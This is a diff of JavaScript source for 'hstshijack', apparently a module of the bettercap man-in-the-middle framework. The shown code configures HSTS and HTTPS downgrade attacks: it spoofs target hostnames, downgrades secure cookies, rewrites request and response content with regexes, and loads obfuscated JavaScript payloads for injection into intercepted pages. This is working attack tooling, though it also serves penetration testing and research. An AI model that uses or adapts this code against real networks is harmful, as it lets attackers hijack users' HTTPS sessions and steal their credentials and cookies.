- var host_selector_strings_html = Object.keys(replacements_res_body.html);
- var host_selector_strings_javascript = Object.keys(replacements_res_body.javascript);
- var host_selector_strings_json = Object.keys(replacements_res_body.json);
- for (a = 0; a < host_selector_strings_html.length; a++) {
- var selector_string = host_selector_strings_html[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_res_body_html.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_res_body_html.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_res_body.html[selector_string].length; b++) {
- var rx_set = replacements_res_body.html[selector_string][b];
- replacements_res_body.html[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
- for (a = 0; a < host_selector_strings_javascript.length; a++) {
- var selector_string = host_selector_strings_javascript[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_res_body_javascript.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_res_body_javascript.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_res_body.javascript[selector_string].length; b++) {
- var rx_set = replacements_res_body.javascript[selector_string][b];
- replacements_res_body.javascript[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
- for (a = 0; a < host_selector_strings_json.length; a++) {
- var selector_string = host_selector_strings_json[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_res_body_json.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_res_body_json.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_res_body.json[selector_string].length; b++) {
- var rx_set = replacements_res_body.json[selector_string][b];
- replacements_res_body.json[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
-
- /* Prepare request headers regex replacements. */
- env["hstshijack.replacements.req.headers"]
- ? replacements_req_headers_filepath = env["hstshijack.replacements.req.headers"].replace(/^\s*(.*?)\s*$/g, "$1")
- : replacements_req_headers_filepath = "";
- try {
- replacements_req_headers = JSON.parse(readFile(replacements_req_headers_filepath));
- } catch (err) {
- log_fatal(err);
- }
- var host_selector_strings_req_headers = Object.keys(replacements_req_headers);
- for (a = 0; a < host_selector_strings_req_headers.length; a++) {
- var selector_string = host_selector_strings_req_headers[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_req_headers.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_req_headers.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_req_headers[selector_string].length; b++) {
- var rx_set = replacements_req_headers[selector_string][b];
- replacements_req_headers[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
-
- /* Prepare request body regex replacements. */
- env["hstshijack.replacements.req.body"]
- ? replacements_req_body_filepath = env["hstshijack.replacements.req.body"].replace(/^\s*(.*?)\s*$/g, "$1")
- : replacements_req_body_filepath = "";
- try {
- replacements_req_body = JSON.parse(readFile(replacements_req_body_filepath));
- } catch (err) {
- log_fatal(err);
- }
- var host_selector_strings_req_body = Object.keys(replacements_req_body);
- for (a = 0; a < host_selector_strings_req_body.length; a++) {
- var selector_string = host_selector_strings_req_body[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_req_body.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_req_body.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_req_body[selector_string].length; b++) {
- var rx_set = replacements_req_body[selector_string][b];
- replacements_req_body[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
-
- /* Prepare request url regex replacements. */
- env["hstshijack.replacements.req.url"]
- ? replacements_req_url_filepath = env["hstshijack.replacements.req.url"].replace(/^\s*(.*?)\s*$/g, "$1")
- : replacements_req_url_filepath = "";
- try {
- replacements_req_url_path = JSON.parse(readFile(replacements_req_url_filepath)).path;
- replacements_req_url_port = JSON.parse(readFile(replacements_req_url_filepath)).port;
- replacements_req_url_query = JSON.parse(readFile(replacements_req_url_filepath)).query;
- } catch (err) {
- log_fatal(err);
- }
- var host_selector_strings_req_url_path = Object.keys(replacements_req_url_path);
- var host_selector_strings_req_url_port = Object.keys(replacements_req_url_port);
- var host_selector_strings_req_url_query = Object.keys(replacements_req_url_query);
- for (a = 0; a < host_selector_strings_req_url_path.length; a++) {
- var selector_string = host_selector_strings_req_url_path[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_req_url_path.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_req_url_path.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_req_url_path[selector_string].length; b++) {
- var rx_set = replacements_req_url_path[selector_string][b];
- replacements_req_url_path[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
- for (a = 0; a < host_selector_strings_req_url_port.length; a++) {
- var selector_string = host_selector_strings_req_url_port[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_req_url_port.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_req_url_port.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_req_url_port[selector_string].length; b++) {
- var rx_set = replacements_req_url_port[selector_string][b];
- replacements_req_url_port[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
- for (a = 0; a < host_selector_strings_req_url_query.length; a++) {
- var selector_string = host_selector_strings_req_url_query[a];
- if (selector_string === "*") {
- rx_target_hosts_replacements_req_url_query.push(new RegExp(".*"));
- } else {
- rx_target_hosts_replacements_req_url_query.push(
- toWholeRegexpSet(selector_string, "")[0]);
- }
- for (b = 0; b < replacements_req_url_query[selector_string].length; b++) {
- var rx_set = replacements_req_url_query[selector_string][b];
- replacements_req_url_query[selector_string][b] = [
- new RegExp(rx_set[0], rx_set[1]),
- rx_set[2],
- ];
- }
- }
-
- /* Prepare payloads. */
- env["hstshijack.payloads"]
- ? payload_entries = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
- : payload_entries = [];
- for (a = 0; a < payload_entries.length; a++) {
- if (
- !/^\*:.+$/i.test(payload_entries[a])
- && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a])
- && !rx_whole_suffix_wildcard_domain.test(payload_entries[a])
- ) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ").");
- }
- payload_host = payload_entries[a].replace(/[:].*/, "");
- payload_path = payload_entries[a].replace(/.*[:]/, "");
- payload = "";
- if (!(payload = readFile(payload_path))) {
- log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ").");
- } else {
- payload = payload
- .replace(/obf_hstshijack_target_hosts/g, varname_target_hosts)
- .replace(/obf_hstshijack_replacement_hosts/g, varname_replacement_hosts)
- .replace(/obf_hstshijack_path_callback/g, callback_path)
- .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path)
- .replace(/obf_hstshijack_path_whitelist/g, whitelist_path)
- .replace(/obf_hstshijack_cookie_host_prefix/g, cookie_host_prefix)
- .replace(/obf_hstshijack_cookie_secure_prefix/g, cookie_secure_prefix);
- if (obfuscate) {
- var obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || [];
+ /* Read caplet. */
+ env["hstshijack.ignore"]
+ ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "$1").split(",")
+ : ignore_hosts = [];
+ env["hstshijack.targets"]
+ ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "$1").split(",")
+ : target_hosts = [];
+ env["hstshijack.replacements"]
+ ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "$1").split(",")
+ : replacement_hosts = [];
+ env["hstshijack.blockscripts"]
+ ? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ : block_script_hosts = [];
+ env["hstshijack.obfuscate"]
+ ? obfuscate = env["hstshijack.obfuscate"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
+ : obfuscate = false;
+ env["hstshijack.cookies.downgrade"]
+ ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
+ : downgrade_cookies = false;
+
+ /* Validate caplet. */
+ if (target_hosts.length < replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.length > replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).");
+ }
+ if (replacement_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).");
+ }
+
+ var rx_whole_prefix_wildcard_domain = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i;
+ var rx_whole_suffix_wildcard_domain = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i;
+ for (a = 0; a < ignore_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(ignore_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(ignore_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(ignore_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ").");
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ if (
+ !rx_whole_prefix_wildcard_domain.test(target_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(target_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ").");
+ }
+
+ if (
+ !rx_whole_prefix_wildcard_domain.test(replacement_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(replacement_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ").");
+ }
+
+ if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) {
+ target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0;
+ replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0;
+ if (target_host_wildcard_count !== replacement_host_wildcard_count) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ").");
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Precompile regex sets for hostname spoofing. */
+ rx_sets_global_target_hosts.push(toRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_global_replacement_hosts.push(toRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile whole regex sets for hostname spoofing. */
+ rx_sets_whole_target_hosts.push(toWholeRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_whole_replacement_hosts.push(toWholeRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile regex sets for restoring HTTPS. */
+ rx_sets_global_target_http_origins.push(toHttpOriginRegexpSet(target_hosts[a], target_hosts[a]));
+ }
+
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(block_script_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(block_script_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(block_script_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ").");
+ }
+ }
+
+ /* Prepare response body regex replacements. */
+ env["hstshijack.replacements.res.body"]
+ ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_res_body_path = "";
+ try {
+ replacements_res_body = JSON.parse(readFile(replacements_res_body_path));
+ } catch (err) {
+ log_fatal(err);
+ }
+ if (!replacements_res_body.html || typeof replacements_res_body.html !== "object")
+ replacements_res_body.html = {};
+ if (!replacements_res_body.javascript || typeof replacements_res_body.javascript !== "object")
+ replacements_res_body.javascript = {};
+ if (!replacements_res_body.json || typeof replacements_res_body.json !== "object")
+ replacements_res_body.json = {};
+ var host_selector_strings_html = Object.keys(replacements_res_body.html);
+ var host_selector_strings_javascript = Object.keys(replacements_res_body.javascript);
+ var host_selector_strings_json = Object.keys(replacements_res_body.json);
+ for (a = 0; a < host_selector_strings_html.length; a++) {
+ var selector_string = host_selector_strings_html[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_html.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_html.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.html[selector_string].length; b++) {
+ var rx_set = replacements_res_body.html[selector_string][b];
+ replacements_res_body.html[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_javascript.length; a++) {
+ var selector_string = host_selector_strings_javascript[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_javascript.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_javascript.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.javascript[selector_string].length; b++) {
+ var rx_set = replacements_res_body.javascript[selector_string][b];
+ replacements_res_body.javascript[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_json.length; a++) {
+ var selector_string = host_selector_strings_json[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_json.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_json.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.json[selector_string].length; b++) {
+ var rx_set = replacements_res_body.json[selector_string][b];
+ replacements_res_body.json[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request headers regex replacements. */
+ env["hstshijack.replacements.req.headers"]
+ ? replacements_req_headers_filepath = env["hstshijack.replacements.req.headers"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_headers_filepath = "";
+ try {
+ replacements_req_headers = JSON.parse(readFile(replacements_req_headers_filepath));
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_headers = Object.keys(replacements_req_headers);
+ for (a = 0; a < host_selector_strings_req_headers.length; a++) {
+ var selector_string = host_selector_strings_req_headers[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_headers.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_headers.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_headers[selector_string].length; b++) {
+ var rx_set = replacements_req_headers[selector_string][b];
+ replacements_req_headers[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request body regex replacements. */
+ env["hstshijack.replacements.req.body"]
+ ? replacements_req_body_filepath = env["hstshijack.replacements.req.body"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_body_filepath = "";
+ try {
+ replacements_req_body = JSON.parse(readFile(replacements_req_body_filepath));
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_body = Object.keys(replacements_req_body);
+ for (a = 0; a < host_selector_strings_req_body.length; a++) {
+ var selector_string = host_selector_strings_req_body[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_body.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_body.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_body[selector_string].length; b++) {
+ var rx_set = replacements_req_body[selector_string][b];
+ replacements_req_body[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request url regex replacements. */
+ env["hstshijack.replacements.req.url"]
+ ? replacements_req_url_filepath = env["hstshijack.replacements.req.url"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_url_filepath = "";
+ try {
+ replacements_req_url_path = JSON.parse(readFile(replacements_req_url_filepath)).path;
+ replacements_req_url_port = JSON.parse(readFile(replacements_req_url_filepath)).port;
+ replacements_req_url_query = JSON.parse(readFile(replacements_req_url_filepath)).query;
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_url_path = Object.keys(replacements_req_url_path);
+ var host_selector_strings_req_url_port = Object.keys(replacements_req_url_port);
+ var host_selector_strings_req_url_query = Object.keys(replacements_req_url_query);
+ for (a = 0; a < host_selector_strings_req_url_path.length; a++) {
+ var selector_string = host_selector_strings_req_url_path[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_path.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_path.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_path[selector_string].length; b++) {
+ var rx_set = replacements_req_url_path[selector_string][b];
+ replacements_req_url_path[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_port.length; a++) {
+ var selector_string = host_selector_strings_req_url_port[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_port.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_port.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_port[selector_string].length; b++) {
+ var rx_set = replacements_req_url_port[selector_string][b];
+ replacements_req_url_port[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_query.length; a++) {
+ var selector_string = host_selector_strings_req_url_query[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_query.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_query.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_query[selector_string].length; b++) {
+ var rx_set = replacements_req_url_query[selector_string][b];
+ replacements_req_url_query[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare payloads. */
+ env["hstshijack.payloads"]
+ ? payload_entries = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ : payload_entries = [];
+ for (a = 0; a < payload_entries.length; a++) {
+ if (
+ !/^\*:.+$/i.test(payload_entries[a])
+ && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a])
+ && !rx_whole_suffix_wildcard_domain.test(payload_entries[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ").");
+ }
+ payload_host = payload_entries[a].replace(/[:].*/, "");
+ payload_path = payload_entries[a].replace(/.*[:]/, "");
+ payload = "";
+ if (!(payload = readFile(payload_path))) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ").");
+ } else {
+ payload = payload
+ .replace(/obf_hstshijack_target_hosts/g, varname_target_hosts)
+ .replace(/obf_hstshijack_replacement_hosts/g, varname_replacement_hosts)
+ .replace(/obf_hstshijack_path_callback/g, callback_path)
+ .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path)
+ .replace(/obf_hstshijack_path_whitelist/g, whitelist_path)
+ .replace(/obf_hstshijack_cookie_host_prefix/g, cookie_host_prefix)
+ .replace(/obf_hstshijack_cookie_secure_prefix/g, cookie_secure_prefix);
+ if (obfuscate) {
+ var obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || [];
obfuscation_variables = obfuscation_variables.sort().reverse();
- for (b = 0; b < obfuscation_variables.length; b++) {
- if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) {
- regexp = new RegExp(obfuscation_variables[b], "g");
- payload = payload.replace(regexp, randomString(8 + (Math.random() * 8)));
- }
- }
- }
- if (payloads[payload_host]) {
- payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n";
- } else {
- payloads[payload_host] = payload + "\n";
- }
- }
- }
-
- /* Prepare payload container */
- payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
- payload_container_prefix = payload_container_prefix +
- "const " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" +
- "const " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n";
- payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
-
- /* Prepare whitelist */
- whitelist_file_path = env["hstshijack.whitelist"];
- try {
- whitelist = JSON.parse(readFile(whitelist_file_path));
- } catch (err) {
- log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet.");
- }
-
- /* Prepare SSL index */
- ssl_index_check = env["hstshijack.ssl.index.check"].toLowerCase() || "true";
- all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n");
- for (a = 0; a !== ssl.prefixes.length; a++) {
- ssl.index[ssl.prefixes[a]] = [];
- }
- if (all_domains.length === 0) {
- log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset.");
- } else {
- if (ssl_index_check !== "false") {
- log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ...");
- all_domains.filter(function(domain) {
- if (domain !== "") indexDomain(domain);
- });
- } else {
- ssl.domains = all_domains;
- index_file_contents = readFile(env["hstshijack.ssl.index"]);
- if (ssl.domains.length !== 0 && index_file_contents === "") {
- log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
- }
- try {
- ssl.index = JSON.parse(index_file_contents);
- } catch (err) {
- log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
- }
- indexed_domains_length = 0;
- for (a = 0; a !== ssl.prefixes.length; a++) {
- indexed_domains_length += ssl.index[ssl.prefixes[a]].length;
- }
- if (indexed_domains_length !== all_domains.length) {
- log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
- }
- log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s).");
- }
- }
-
- /* Ensure targeted hosts are in SSL log (no wildcards). */
- for (var a = 0; a < target_hosts.length; a++) {
- if (target_hosts[a].indexOf("*") === -1) {
- indexDomain(target_hosts[a]);
- }
- }
-
- saveSSLIndex();
- log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains.");
+ for (b = 0; b < obfuscation_variables.length; b++) {
+ if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) {
+ regexp = new RegExp(obfuscation_variables[b], "g");
+ payload = payload.replace(regexp, randomString(8 + (Math.random() * 8)));
+ }
+ }
+ }
+ if (payloads[payload_host]) {
+ payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n";
+ } else {
+ payloads[payload_host] = payload + "\n";
+ }
+ }
+ }
+
+ /* Prepare payload container */
+ payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+ payload_container_prefix = payload_container_prefix +
+ "const " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" +
+ "const " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n";
+ payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+
+ /* Prepare whitelist */
+ whitelist_file_path = env["hstshijack.whitelist"];
+ try {
+ whitelist = JSON.parse(readFile(whitelist_file_path));
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet.");
+ }
+
+ /* Prepare SSL index */
+ ssl_index_check = env["hstshijack.ssl.index.check"].toLowerCase() || "true";
+ all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n");
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ ssl.index[ssl.prefixes[a]] = [];
+ }
+ if (all_domains.length === 0) {
+ log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset.");
+ } else {
+ if (ssl_index_check !== "false") {
+ log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ...");
+ all_domains.filter(function(domain) {
+ if (domain !== "") indexDomain(domain);
+ });
+ } else {
+ ssl.domains = all_domains;
+ index_file_contents = readFile(env["hstshijack.ssl.index"]);
+ if (ssl.domains.length !== 0 && index_file_contents === "") {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ try {
+ ssl.index = JSON.parse(index_file_contents);
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ indexed_domains_length = 0;
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ indexed_domains_length += ssl.index[ssl.prefixes[a]].length;
+ }
+ if (indexed_domains_length !== all_domains.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s).");
+ }
+ }
+
+ /* Ensure targeted hosts are in SSL log (no wildcards). */
+ for (var a = 0; a < target_hosts.length; a++) {
+ if (target_hosts[a].indexOf("*") === -1) {
+ indexDomain(target_hosts[a]);
+ }
+ }
+
+ saveSSLIndex();
+ log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains.");
}
function showConfig() {
- /* Print module configuration. */
- logStr = "\n";
- logStr += " " + bold + "Caplet" + reset + "\n";
- logStr += "\n";
- logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + "hstshijack.ssl.index.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.index.check"]) ? green + "true" : red + "false") + reset + "\n";
- logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + " hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + " hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n";
- logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
- logStr += " " + yellow + " hstshijack.payloads" + reset + " > ";
- if (env["hstshijack.payloads"]) {
- list = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",");
- logStr += green + list[0] + reset + "\n";
- if (list.length > 1) {
- for (a = 1; a < list.length; a++) {
- logStr += " > " + green + list[a] + reset + "\n";
- }
- }
- } else {
- logStr += red + "undefined" + reset + "\n";
- }
- logStr += "\n";
- logStr += " " + bold + "Commands" + reset + "\n";
- logStr += "\n";
- logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n";
- logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n";
- logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n";
- logStr += "\n";
- logStr += " " + bold + "Session info" + reset + "\n";
- logStr += "\n";
- logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n";
- logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n";
- logStr += " " + bold + " Whitelist path" + reset + " : " + whitelist_path + "\n";
- logStr += " " + bold + " SSL index path" + reset + " : " + ssl_index_path + "\n";
- logStr += " " + bold + " __Host- prefix" + reset + " : " + cookie_host_prefix + "\n";
- logStr += " " + bold + "__Secure- prefix" + reset + " : " + cookie_secure_prefix + "\n";
